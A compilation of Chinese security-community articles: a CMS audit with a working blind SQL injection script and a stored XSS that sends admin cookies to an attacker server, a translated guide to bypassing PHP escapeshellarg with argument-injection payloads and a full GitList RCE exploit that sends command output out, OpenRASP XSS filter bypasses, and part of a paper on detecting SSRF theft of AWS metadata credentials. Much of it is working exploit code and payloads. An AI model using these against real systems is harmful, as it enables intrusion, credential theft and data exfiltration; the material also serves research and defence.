req = r.get(url_code)
with open('1.png', 'wb') as f:
f.write(req.content)
#新建Image对象
image = Image.open("1.png")
#进行置灰处理
image = image.convert('L')
#这个是二值化阈值
threshold = 150
table = []
for i in range(256):
if i < threshold:
table.append(0)
else:
table.append(1)
#通过表格转换成二进制图片，1的作用是白色，不然就全部黑色了
image = image.point(table,"1")
code = pytesseract.image_to_string(image)
return code
# 这里判断数据库名长度验证码是否正确，如果错误的话，递归提交，直到正确为止
def checkcode_length(num2,num1=1):
payload_length = "1' and case when (ascii(mid((length(database())),{num1},1))={num2}) then (sleep(3)) else (1) end and '"
data = {'admin': '1',
'password': '1',
'checkcode': code()
}
full_payload = payload_length.format(num1=str(num1),num2=str(num2))
print(full_payload)
req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
if '验证码输入有误' in req.text:
return checkcode_length(num2)
# 这里判断数据库名验证码是否正确，如果错误的话，递归提交，直到正确为止
def checkcode_database_name(num1,num2):
payload_database_name = "1' and case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end and '"
data = {'admin': '1',
'password': '1',
'checkcode': code()
}
full_payload = payload_database_name.format(num1=str(num1),num2=str(num2))
print(full_payload)
req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
if '验证码输入有误' in req.text:
return checkcode_database_name(num1,num2)
# 这里返回数据库名的长度
def database_length():
global length
for i in range(48,58):
payload_length = "1' and case when (ascii(mid((length(database())),1,1))={num1}) then (sleep(3)) else (1) end and '"
data = {'admin': '1',
'password': '1',
'checkcode': code()
}
full_payload = payload_length.format(num1=str(i))
print(full_payload)
start_time = time()
req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
if '验证码输入有误' in req.text:
checkcode_length(str(i))
else:
if time() - start_time > 2.5:
length += chr(i)
print(length)
# 这里调用database_length()函数来获取数据库名的长度
database_length()
print(length)
# 这里返回数据库名
def database_name():
global name
payload_database_name = "1' and case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end and '"
for i in range(1,int(length)+1):
left = 32
right = 127
while 1:
mid = (left + right) // 2
if mid == left:
name += chr(mid)
break
data = {'admin': '1',
'password': '1',
'checkcode': code()
}
full_payload = payload_database_name.format(num1=str(i), num2=str(mid))
print(full_payload)
start_time = time()
req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
print(full_payload)
if '验证码输入有误' in req.text:
checkcode_database_name(i, mid)
else:
if time() - start_time > 2.5:
right = mid
else:
left = mid
# 这里调用database_name()函数来获取数据库名
database_name()
print(name)
## 第三处sql注入
`/system/hf_book.php`关键代码如下,大概在这个页面的18行左右
....
....
....
$sxid=$_GET["id"];
$e_rs=$db->get_one("select * from ***cms_book where id=$sxid",MYSQL_ASSOC);
$bid=$e_rs['id'];
....
....
先猜测字段数目,11正确，12错误，说明字段数是11
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 11#
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 12#
看回显部分，字段3和字段5存在回显
http://localhost:81/CMS/***cmcs/system/hf_book.php?id=11 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11#
注入出数据库名
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11#
## 小结
这里其实还有非常多的sql注入，包括insert注入，delete注入，update注入，由于文章篇幅的原因，没有一一例举。因为源头insert或者update或者delete没有做好过滤，导致了这篇漏洞，所以这里也就不再重复说明，举了几个比较典型的案例来说明
# 前台存储型xss
`/add_do.php`
<?php
session_start();
require 'Conf/***cms.inc.php';
require 'Libs/Function/fun.php';
if(strtolower($_POST["checkcode"])==strtolower($_SESSION["randval"])){
unset($_SESSION["randval"]);//释放session中的变量
}else{
unset($_SESSION["randval"]);
ok_info(0,"验证码输入有误!");
exit();
}
$byz=$_POST['b_yzcode'];
if($byz!==md5($yzcode)){
ok_info(0,'错误的参数！');
}
$siteinfo = array(
'type_id' => intval(trim($_POST['type_id'])),
'b_title' => injCheck($_POST['b_title']),
'b_content' => injCheck($_POST['b_content']),
'b_name' => injCheck($_POST['b_name']),
'b_tel' => injCheck($_POST['b_tel']),
'b_mail' => injCheck($_POST['b_mail']),
'b_qq' => injCheck($_POST['b_qq']),
'b_ip' => injCheck($_POST['b_ip']),
'c_date' => time()
);
$db->insert("***cms_book", $siteinfo);
$db->close();
ok_info('/index.php','恭喜你，留言提交成功！');
?>
第17行到第24行，只对sql注入进行了过滤，并没有对xss过滤，导致了这些提交字段都存在xss漏洞
然后我们到该页面，进行提交
这里我是用我的服务器进行监听，`4.js`内容如下
var image=new Image();
image.src="http://你的vps-ip:10006/cookies.phpcookie="+document.cookie;
然后在我自己的服务器上nc监听
然后当管理员在后台点击访问新回复的时候
然后可以打到cookie并且可以成功登录
## 小结
其实这里也有后台存储型xss，但是很鸡肋，就不说了 | 社区文章 |
# 利用/绕过 PHP escapeshellarg/escapeshellcmd函数
|
##### 译文声明
本文是翻译文章，文章来源：https://security.szurek.pl/
原文地址：<https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html>
译文仅供参考，具体内容表达以及含义原文为准。
## escapeshellarg和escapeshellcmd的功能
### escapeshellarg
1.确保用户只传递一个参数给命令
2.用户不能指定更多的参数一个
3.用户不能执行不同的命令
### escapeshellcmd
1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令
让我们用`groups`去打印组里每个username成员
$username = 'myuser';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
但是攻击者可以在username里使用`;`或者`||`
在Linux里，这意味着第二个命令可以在第一个之后被执行
$username = 'myuser;id';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
uid=33(www-data) gid=33(www-data) groups=33(www-data)
为了防止这一点，我们使用`escapeshellcmd`
现在攻击者不能允许第2个命令了
$username = 'myuser;id';
// escapeshellcmd adds before ;
system(escapeshellcmd('groups '.$username));
=>
(nothing)
为什么会这样？因为php内部运行了这样的命令
$ groups myuser;id
groups: „myuser;id”: no such user
`myuser;id`被当成了一个字符串
但是在这种方法中，攻击者可以指定更多参数groups
例如，他一次检测多个用户
$username = 'myuser1 myuser2';
system('groups '.$username);
=>
myuser1 : myuser1 adm cdrom sudo
myuser2 : myuser2 adm cdrom sudo
假设我们希望允许每个脚本执行仅检查一个用户：
$username = 'myuser1 myuser2';
system('groups '.escapeshellarg($username));
=>
(noting)
为什么会这样？因为现在`$username`被视为单个参数：
$ groups 'myuser1 myuser2'
groups: "myuser1 myuser2": no such user
## 已知的绕过/利用
当你想利用这些功能时，你有两个选择：
如果PHP版本非常老，你可以尝试一个历史漏洞，
否则你需要尝试参数注入技术。
## 参数注入
从上一章可以看到，使用`escapeshellcmd / escapeshellarg`时不可能执行第二个命令。
但是我们仍然可以将参数传递给第一个命令。
这意味着我们也可以将新选项传递给命令。
利用漏洞的能力取决于目标可执行文件。
您可以在下面找到一些已知可执行文件的列表，其中包含一些可能被滥用的特定选项。
### TAR
压缩`some_file`到`/tmp/sth`
$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));
创建一个空文件`/tmp/exploit`
$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));
### FIND
在`/tmp`目录查找文件`some_file`
$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));
打印`/etc/passwd`内容
$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));
### Escapeshellcmd和escapeshellarg
在这个配置中，我们可以传递第二个参数给函数。
列出`/tmp`目录并忽略`sth`文件
$arg = "sth";
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
在`/tmp`目录中列出文件并忽略`sth`。使用长列表格式。
$arg = "sth' -l ";
// ls --ignore='exploit'\'' -l ' /tmp
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
例如：WGET，下载`example.php`
$url = 'http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
保存`.php`文件到指定目录
$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
### 用.bat执行命令
打印`somedir`中的文件列表
$dir = "somedir";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
并且执行`whoami`命令
$dir = "somedir x1a whoami";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
### SENDMAIL
发送`mail.txt`到`[[email protected]](mailto:[email protected])`
$from = '[email protected]';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
打印`/etc/passwd`内容
$from = '[email protected] -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
### CURL
下载[http://example.com内容](http://example.com%E5%86%85%E5%AE%B9)
$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));
发送`/etc/passwd`内容到`http://example.com`
$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));
你可以得到文件内容，使用如下payload:
file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));
### MYSQL
执行sql语句
$sql = 'SELECT sth FROM table';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
运行`id`命令
$sql = '! id';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
### UNZIP
从`archive.zip`解压所有`*.tmp`文件到`/tmp`目录
$zip_name = 'archive.zip';
system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));
从`archive.zip`解压所有`*.tmp`文件到`/var/www/html`目录
$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');
### 如果未设置LANG环境变量，则去除非ASCII字符
$filename = 'résumé.pdf';
// string(10) "'rsum.pdf'"
var_dump(escapeshellarg($filename));
setlocale(LC_CTYPE, 'en_US.utf8');
//string(14) "'résumé.pdf'"
var_dump(escapeshellarg($filename));
## 经典EXP
### PHP <= 4.3.6 on Windows – CVE-2004-0542
$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
同时运行`dir`命令.
$find = 'word " c:\where\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
### PHP 4 <= 4.4.8 and PHP 5 <= 5.2.5 – CVE-2008-2051
Shell需要使用GBK，EUC-KR，SJIS等可变宽度字符集的语言环境。
$text = "sth";
system(escapeshellcmd("echo ".$text));
$text = "sth xc0; id";
system(escapeshellcmd("echo ".$text));
或者
$text1 = 'word';
$text2 = 'word2';
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word xc0";
$text2 = "; id ; #";
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
### PHP < 5.4.42, 5.5.x before 5.5.26, 5.6.x before 5.6.10 on Windows –
CVE-2015-4642
额外传递的第三个参数(—param3)。
$a = 'param1_value';
$b = 'param2_value';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a\';
$b = 'b -c --param3\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
### PHP 7.x before 7.0.2 – CVE-2016-1904
如果将1024mb字符串传递给escapeshellarg,则导致缓冲区溢出escapeshellcmd。
### PHP 5.4.x < 5.4.43 / 5.5.x < 5.5.27 / 5.6.x < 5.6.11 on Windows
启用EnableDelayedExpansion后，展开一些环境变量。
然后`!STH!`运行类似于`%STH%`
`escapeshellarg`不会过滤`!`字符
`EnableDelayedExpansion`以在HKLM或HKCU下的注册表中设置：
[HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor]
"DelayedExpansion"= (REG_DWORD)
1=enabled 0=disabled (default)
例如:
// Leak appdata dir value
$text = '!APPDATA!';
print "echo ".escapeshellarg($text);
### PHP < 5.6.18
功能定义于`ext/standard/exec.c`，运行类似于(escapeshellcmd，eschapeshellarg，shell_exec)，忽略PHP字符串的长度，并用NULL终止工作代替。
echo escapeshellarg("helloworld");
=>
hello
## GitList RCE漏洞利用
文件`src/Git/Repository.php`
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (RuntimeException $e) {
return false;
}
}
简化后
$query = 'sth';
system('git grep -i --line-number '.escapeshellarg($query).' *');
当我们查看git grep文档时
--open-files-in-pager[=<pager>]
Open the matching files in the pager (not the output of grep). If the pager happens to be "less" or "vi", and the user specified only one pattern, the first file is positioned at the first match automatically.
所以基本上`--open-files-in-pager`就像是在`-exec`中执行`find`.
$query = '--open-files-in-pager=id;';
system('git grep -i --line-number '.escapeshellarg($query).' *');
当我们输入这些进控制台
$ git grep -i --line-number '--open-files-in-pager=id;' *
uid=1000(user) gid=1000(user) grupy=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
id;: 1: id;: README.md: not found
最后的exp:
import requests
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urlparse
import urllib
import threading
import time
import os
import re
url = 'http://192.168.1.1/gitlist/'
command = 'id'
your_ip = '192.168.1.100'
your_port = 8001
print "GitList 0.6 Unauthenticated RCE"
print "by Kacper Szurek"
print "https://security.szurek.pl/"
print "REMEMBER TO DISABLE FIREWALL"
search_url = None
r = requests.get(url)
repos = re.findall(r'/([^/]+)/master/rss', r.text)
if len(repos) == 0:
print "[-] No repos"
os._exit(0)
for repo in repos:
print "[+] Found repo {}".format(repo)
r = requests.get("{}{}".format(url, repo))
files = re.findall(r'href="[^"]+blob/master/([^"]+)"', r.text)
for file in files:
r = requests.get("{}{}/raw/master/{}".format(url, repo, file))
print "[+] Found file {}".format(file)
print r.text[0:100]
search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1])
break
if not search_url:
print "[-] No files in repo"
os._exit(0)
print "[+] Search using {}".format(search_url)
class GetHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed_path = urlparse.urlparse(self.path)
print "[+] Command response"
print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]
self.send_response(200)
self.end_headers()
self.wfile.write("OK")
os._exit(0)
def log_message(self, format, *args):
return
def exploit_server():
server = HTTPServer((your_ip, your_port), GetHandler)
server.serve_forever()
print "[+] Start server on {}:{}".format(your_ip, your_port)
t = threading.Thread(target=exploit_server)
t.daemon = True
t.start()
print "[+] Server started"
r = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\"http://{}:{}/?a=\".urlencode(shell_exec(\"{}\")));"'.format(your_ip, your_port, command)})
while True:
time.sleep(1) | 社区文章 |
# OpenRASP xss算法的几种绕过方法
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
openrasp默认只能检测反射型XSS，存储型XSS仅IAST商业版支持。对于反射型xss，openrasp也只能检测可控输出点在html标签外的情况，本文的绕过方法是针对这种情况。如果可控输出点在html标签内，如`<input
type="text" value="$input">`或`<script>...</script>` 内部，openrasp几乎检测不到。
## 测试环境
windows / tomcat / jdk1.8 / openrasp 1.3.7-beta
测试环境部署参见<https://www.anquanke.com/post/id/241107>，或者官网文档。
在official.js中xss_userinput算法默认配置为ignore，修改为block来开启拦截。此时点击官方测试用例中下面链接，即可触发openrasp拦截。
## openrasp xss算法
openrasp
xss算法有2种。算法1是针对PHP环境，此处不考虑。算法2是用户输入匹配算法，根据注释说明，算法原理是”当用户输入长度超过15，匹配上标签正则，且出现在响应里，直接拦截”。
标签正则含义使用regexper网站解析如下
标签正则从整体上来说匹配两种情况，一是请求参数值中有子字符串以`<!` 开头的；二是请求参数值中有子字符串以`<`
开头的。对于第二种情况，标签正则会匹配`<` 字符后接1到12个大小写字母，再后接`/` 或`>` 或`0x00 - 0x20`
字符的字符串。所以下面这些常见的xss测试payload都会拦截。
<script>alert(1)</script> // "<script>"部分匹配标签正则
<img src=1 onerror=alert()> // "<img "部分匹配正则，空格符对应正则中0x20
<svg/onload=alert()> // "<svg/"部分匹配正则
`<img src=1 onerror=alert()>`触发拦截
## 标签正则绕过
整理网上的一些xss 绕过payload，发现下面这些可以顺利绕过标签正则
<d3v/onmouseleave=[1].some(confirm)>click
<d3/onmouseenter=[2].find(confirm)>z
<d3"<"/onclick="1>[confirm``]"<">z
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
浏览器直接输入上面那些xss payload会报400响应错误。对payload进行url编码所有字符。
burpsuite repeater中右键”copy url”，复制url到浏览器中访问，点击即可触发弹框。
### 标签后接单双引号
收集过程中还发现下面这两种xss payload也可以绕过。
<a"/onclick=(confirm)()>click
<a'/onclick=(confirm)()>click
简单测了下其他标签后接单引号或双引号进行绕过，好像蛮多都行的。
<button onclick=alert()>12</button> // 拦截
<button' onclick=alert()>12</button> // 点击弹框
<button" onclick=alert()>12</button> // 点击弹框
<div onclick=alert()>12</div> // 拦截
<div' onclick=alert()>12</div> // 点击弹框
<div" onclick=alert()>12</div> // 点击弹框
例如，使用`123<img' src=1 onclick=alert()>123` ，url编码后，点击也能弹框。
### 构造无效标签
这种也可以用于绕过openrasp。看到这种绕过方式，感觉前面的都不香了。
只要构造如下payload即可
<abc1 onclick=confirm()>click here // 标签名是字母+数字
验证如下
或者
<abcdefabcdefa onclick=confirm()>click here // 标签名称长度大于12
## 程序逻辑绕过
还有一种绕过方法，是从程序检测逻辑上进行绕过。
openrasp
xss具体检测代码实现在这个文件中`agent/java/engine/src/main/java/com/baidu/openrasp/plugin/checker/local/XssChecker.java`。下面的一段代码是对”当用户输入长度超过15，匹配上标签正则，且出现在响应里，直接拦截”的具体实现。
但代码中多了一处逻辑。如果请求会传递多个参数，当某个参数值长度大于15，且匹配之前的标签正则`<![\-\[A-Za-z]|<([A-Za-z]{1,12})[\/\x00-\x20>]`
，如果对应参数值没有在响应中出现时，变量count值会加1。当count值大于10时，openrasp会直接放行。控制程序运行到上面图片中第二个方框中即可产生绕过。
### 绕过演示
此处为了查看payload内容方便，使用了post请求。如果转换成get请求，并对参数值url编码，效果一样。
原始请求会触发拦截
绕过payload。在input参数前面添加多个input[n]的参数，且参数值为其他xss payload。
转换成get请求，并对payload进行编码。
### 绕过payload分析
构造的绕过payload有几点要求。一是，虚构的请求参数理论上至少要有11个，如前面input0到input11请求参数。如果没成功，最好在增加几个请求参数。二是，虚构的请求参数名取值有些要求。三是，虚构的请求参数值不能与真实请求参数值相同。
因为这样的话，input0到input11这些请求参数在`parameterMap` 中会排在input参数前面，见下图。
这样input0到input11这些参数就会优先input请求参数被openrasp检测逻辑处理，从而击中`count >
exceedLengthCount` 的条件进行绕过。
## 参考资料
[https://github.com/s0md3v/AwesomeXSS#awesome-tags—event-handlers](https://github.com/s0md3v/AwesomeXSS#awesome-tags--event-handlers)
<https://www.anquanke.com/post/id/173701>
<https://www.yuque.com/pmiaowu/web_security_1/scwgqm#JFw3a> | 社区文章 |
### 意义
* 研究云环境下的SSRF意义：
* 1.有助于 已授权的渗透测试，更好地利用云环境下的SSRF漏洞
* 2.有助于 提高企业云安全能力(增强对云环境下的SSRF攻击的检测、防御)
* 3.有助于 安全研究人员继续探索
* ...
意义较大，故逐字翻译，带上了注释，以供参考。
《Detecting Server-Side Request Forgery Attacks on Amazon Web Services》
Author: Sean McElroy
Advisor: Tanya Baccam
Accepted: November 9, 2019
### 摘要
"云基础架构"(Cloud infrastructure)通过提供丰富的APIs，为企业提供了显着优势：让企业具备了对环境进行大规模地自动化管理的能力。
与此同时，威胁行动者也可通过未授权访问云环境的"管理API"(management
APIs)，迅速获取大量敏感数据。业内已经记录过了`利用SSRF漏洞->访问云提供商自带的管理API->获取云服务器访问权限`的技术。
但是，成熟的企业有时候甚至在安全事件发生后的几个月内，都未能发现某些最值得关注的违规行为。企业使用云服务的情况越来越多，企业需要一些有效的方法来检测SSRF类型的攻击尝试，以识别威胁并"缓解漏洞"(mitigate
vulnerabilities)。
本文研究了多种工具和技术，以检测Amazon Web Services (AWS)环境中的SSRF活动，该工具和技术可用于实时监视针对AWS
API的SSRF攻击尝试。研究结果概述了4种不同的策略的有效性，以回答安全专业人员的这个问题“是否可以利用其他供应商提供的、或是开源的那些工具来检测SSRF攻击”。
### 1\. Introduction
因为在技术更新周期中，企业已经用高度可扩展的外包产品(云服务)取代了本地设备。所以"云基础设施即服务"(Cloud infrastructure-as-a-service)提供商经历了巨大的增长。
* 云服务提供商
* Amazon Web Services (AWS)
* Microsoft Azure
* Google Cloud Engine
* ...
* 云服务对于企业的吸引力
* 优化成本
* 无需为基础设施做大量投资即可进行实验
* 云服务提供商 为计算、存储提供的云服务通常有2种计费模式
* "按分钟数计费的模式"(Per-minute billing models)
* "按工作量计费的模式"(workload bidding models)
云服务吸引了技术人员和开发人员，比如即付即用"(Pay-as-you-go)的"机器学习分析"、"自然语言处理"等服务。
云服务提供商的管理面板的丰富API，允许以最小的人工工作，即可进行大规模的复杂部署。
新的工具链已经出现(如Ansible、Terraform等)，以实现"基础设施即代码"(infrastructure as
code)并跟踪全球的分布式资源的状态，这突显了这些API的广度。如果不用云服务，管理它们将是越来越复杂。
首先，这些云服务旨在实现快速"原型设计"(prototyping)，采用和部署，并采用一个值得信任的、优先考虑自动化的模式。
易受SSRF攻击的系统都有一个共同的注入漏洞:输入验证不足，不当的处理允许未授权的访问或修改"下层系统"或"连通的系统"(OWASP,
2017)。当一个client可以将命令注入到server进程，而server进程又从该进程的上下文中重新发出该命令时，就可以认定存在SSRF漏洞。
攻击者可以利用SSRF漏洞发出HTTP请求到内部资源，对于AWS，可以访问的敏感内部资源就是EC2的
"实例元数据服务"(Instance Metadata service,IMS)。IMS在许多方面提供了自动化工具，包括返回"临时凭证"(temporary
credentials)，攻击者可以通过AWS API来利用这些凭证以实现访问和操作其他云资源。
译者注：众所周知，Amazon Elastic Compute Cloud (Amazon EC2)中的每个实例，都可以通过执行`curl -s
http://169.254.169.254/user-data/`，对IP`169.254.169.254`发出HTTP请求，来获取该云实例自身的元数据。
**非云环境的情况**
"本地"(on-premises)或"共存"(co-located)环境为工程师提供了安装入侵检测系统(IDS)的机会，入侵检测系统可以检测注入和SSRF攻击。
**云环境的情况**
但从历史上看，像AWS这样的云服务，既不允许在其管理的基础设施中配置物理设备，也没有提供可以利用传统的"数据包捕获和分析技术"(packet capture
and analysis techniques)用于检测威胁的功能："port mirroring"或"span port"。
虽然管理员可以在AWS中部署"内联虚拟设备"(inline virtual appliances)，例如"审查代理"(inspection
proxies)，但可伸缩性模式通常需要"多层的弹性负载均衡器"(multiple layers of Elastic Load
Balancers)去支持内联IDS策略。此外，直到2017年，弹性负载均衡器只能处理TCP流量(Amazon Web Services, 2017)。
然而，最近可用的特性，如"AWS VPC流量镜像"(AWS VPC Traffic
Mirroring)，现在原生支持云环境下的带外IDS设计。此外，SSRF攻击通常会留下一些artifacts，可以通过"云原生"(cloud-native)威胁检测产品检测到，如Amazon GuardDuty等。有时还会通过"主机设施"(host
facilities)如auditd和iptables等检测到。
本文研究了开源的、以及云服务商提供的这些工具和技术在“检测这些SSRF攻击尝试”的有效性。
### 2\. Research Method
注入漏洞已被充分记录，并被广泛使用了20多年(rain.forest.puppy,1998)。
SSRF攻击通常被描述为“诱使存在SSRF漏洞的系统发送HTTP请求的攻击”，但它可以利用可通过一个URI来寻址其他应用层协议,或者在收集敏感数据之外还可以做更多的事情。
* SSRF攻击向量
* HTTP
* FTP (ERPScan, 2013)
* 能够映射内部环境的XXE攻击(Institute of Information Security, 2015)
* 能够实现远程代码执行的SSRF变体。这些SSRF变体在用作传递Shellshock payload的一个通道时可实现远程代码执行(Kettle, 2017)
* 通常，可回显的SSRF漏洞才能"控制"AWS API, 即满足3个条件:
* 可注入
* 可处理，应用能够错误处理payload, 并向AWS API发出请求
* 可回显，攻击者可以观察到AWS API的响应
> Figure 1 Overview of an SSRF attack against EC2 Instance Metadata Service to
> access a protected S3 bucket
>
>
下面，Figure 2提供了一个满足这3个条件的web应用程序示例：有SSRF漏洞的Node.js Express。
> Figure 2 Excerpt of a Node.js Express program vulnerable to SSRF
>
>
> const request = require('request');
> app.get('/avatar’, function(req, response){
> request.get(request.query['url']).pipe(response);
> });
此示例程序的功能：它在webserver上执行，打开并读取一个文件的内容，然后将其返回给调用者，即使该url参数是到远程系统的url。
为什么说此示例程序具有SSRF漏洞？因为一个输入参数的作用是指定文件的位置，且该函数未做任何输入验证，所以攻击者可以利用这个SSRF漏洞使webserver发出一个HTTP
GET请求，从而间接访问webserver相关的"受保护的资源"(本应该只有webserver本身才能直接访问的"受保护的资源")。
* 这项研究在一个运行于Amazon Linux 2的实例(即AWS EC2 t3a.small实例)进行实验:
* web应用 - 在这个实例上部署了有SSRF漏洞的Node.js应用程序“示例程序”(Art, 2016)。
* 明文流量 - Elastic Load Balancer终止了TLS(注:应是指解密、卸载TLS流量)以提供该服务器流量的明文分析。
* 实验操作 - 通过发送SSRF payload到EC2 IMS，payload中的url为`http://169.254.169.254/iam/security-credentials/role-name`
* 成功标志 - 如果外部的测试发送以上payload后，能够从内部实例获取到了"临时凭证"，则成功。
* 对于每个测试，研究人员均审查了云上设施(Amazon GuardDuty，AWS VPC Traffic Mirroring)、基于主机的设施(auditd、iptables)。以确定2个问题：
* 1.是否每个系统都可以准确识别请求或响应
* 2."发现结果"(findings)是否可以区分出 "真实攻击" 和 "非攻击" 的EC2 IMS访问
利用AWS云的动态能力，研究人员在每次测试前都重新创建了靶机(有漏洞的目标主机)，以确保观察到确实使用了新的临时凭证。如果不这么做的话就无法观察，因为临时凭证可能几个小时都不会变。
本实验用的实例类型为`t3a.small`，它足以最小化测试这4种检测方法，因为`t3a.small`是被称为“AWS
Nitro”的下一代实例的一部分。“AWS Nitro”支持VPC流量镜像(Amazon Web Services, 2017)。
### 3\. Findings and Discussion
#### 3.1. AWS Attack Surface Area
AWS发布了一些最佳实践，这些最佳实践不鼓励配置长期有效的"AWS API凭据"(AWS API
credentials)，并鼓励通过"实例配置文件"(Instance Profile)将"身份和访问管理(Identity and Access
Management,IAM)角色"应用于EC2实例。
当"策略"(Policies)被附加到一个IAM角色(链接到一个"实例配置文件"的IAM角色)的时候
"策略"(Policies)授予了被应用到实例的"AWS资源"的权限。运行在EC2实例上的那些
与"实例配置文件"关联了的IAM角色的进程，可以通过查询EC2 IMS获得临时的AWS API凭据，具体方法就是在众所周知的link-local的IP地址169.254.169.254处查询。(Amazon Web Services, 2019).
运行在 具有一个与"实例配置文件"相关联的IAM角色的EC2实例上的 这些进程，才能够通过查询EC2 IMS获得临时AWS API凭据，方法是查询众所周知的
link-local IP地址169.254.169.254.(Amazon Web Services, 2019).
原文：Processes running on an EC2 instance with an IAM role associated with the
instance profile can obtain temporary AWS API credentials by querying the EC2
IMS, at the well-known, link-local IP address 169.254.169.254. (Amazon Web
Services, 2019).
EC2实例被隐式信任地访问在169.254.169.254上提供的IMS，不需要特殊的HTTP request header，不需要做身份验证。
* 当EC2实例与一个IAM角色相关联时，可以使用这2个path来发现该IAM角色的名称，并使用该角色已被授予的权限从临时凭据获取一个"访问密钥"(access key):
* 1.`iam/info`
* 2.`iam/security-credentials/role-name`
* 为了衡量每一个"检测研究"活动，找了3个有意义的、可观测的指标：
* **指标1.** 能否检测到一个HTTP请求(payload1)，该请求尝试获取 已经attached到“靶机”的那个IAM角色的名称 (the request for the name of the IAM role attached to the vulnerable machine)
* **指标2.** 能否检测到一个HTTP请求(payload2)，该请求尝试从EC2 IMS 获取一个凭证
* **指标3.** 能否检测到一个HTTP response，该响应从EC2 IMS处响应，其中包含了一个"临时访问密钥"(temporary access key)
#### 3.2. Detection using Amazon GuardDuty
测试Amazon GuardDuty的检测能力。
简介:AWS将GuardDuty描述为“持续的安全监控服务”(Amazon Web Services,
2019)，尽管它不是传统的IDS、IPS。该服务为管理员提供了“上传可信或恶意IP地址列表”的能力，这些列表将指导管理员对"发现结果"(findings)的评估，尽管它没有为其内置的"结果类型"(finding
types)提供其他配置选项。尽管GuardDuty在事件发生后生成结果的速度相对较快，但它并不是一个实时的检测机制。
**指标1.** 能否检测到一个HTTP请求(payload1)，该请求尝试获取 已经attached到“靶机”的那个IAM角色的名称
在本测试的第一部分中，发送HTTP请求到`https://site/?url=http://169.254.169.254/latest/meta-data/iam/info`
EC2 IMS返回的Response 见Figure 3:
> Figure 3 Vulnerable application exposing EC2 IAM Role after SSRF
>
>
如下图Figure 4，在一小时之后的一段时间内，GuardDuty对这个"收集角色的名称的HTTP请求"， **没有发现**
任何"侦察结果"(reconnaissance findings)。这一步是“从IMS中获取临时凭证”的第一步。
> Figure 4 GuardDuty without findings after an SSRF attack
>
>
**指标2.** 能否检测到一个HTTP请求(payload2)，该请求尝试从EC2 IMS 获取一个凭证
接下来，访问`https://site/?url=http://169.254.169.254/latest/metadata/iam/security-credentials/msise-ssrf-ec2-role`将取回一个临时访问凭证，见Figure 5。
> Figure 5 Exfiltrated AWS temporary credential after successful SSRF
>
>
同样，经过一个小时的观察，GuardDuty并 **未发现SSRF攻击** 。
**指标3.** 能否检测到一个HTTP response，该响应从EC2 IMS处响应，其中包含了一个"临时访问密钥"(temporary access
key)
从远程计算机运行以下命令（见Figure 5），即使用"窃取到的凭据"来列出这个帐户中的S3 buckets:
> Figure 6 Post-SSRF exploitation commands to confirm AWS API access
>
>
> $ export AWS_ACCESS_KEY_ID=ASIA....MJ3S
> $ export AWS_SECRET_ACCESS_KEY=D397Z....OMdp
> $ export AWS_SESSION_TOKEN=AgoJb3....Z4hk=
> $ aws s3 ls
> 2019-09-15 17:10:49 msise-ssrf
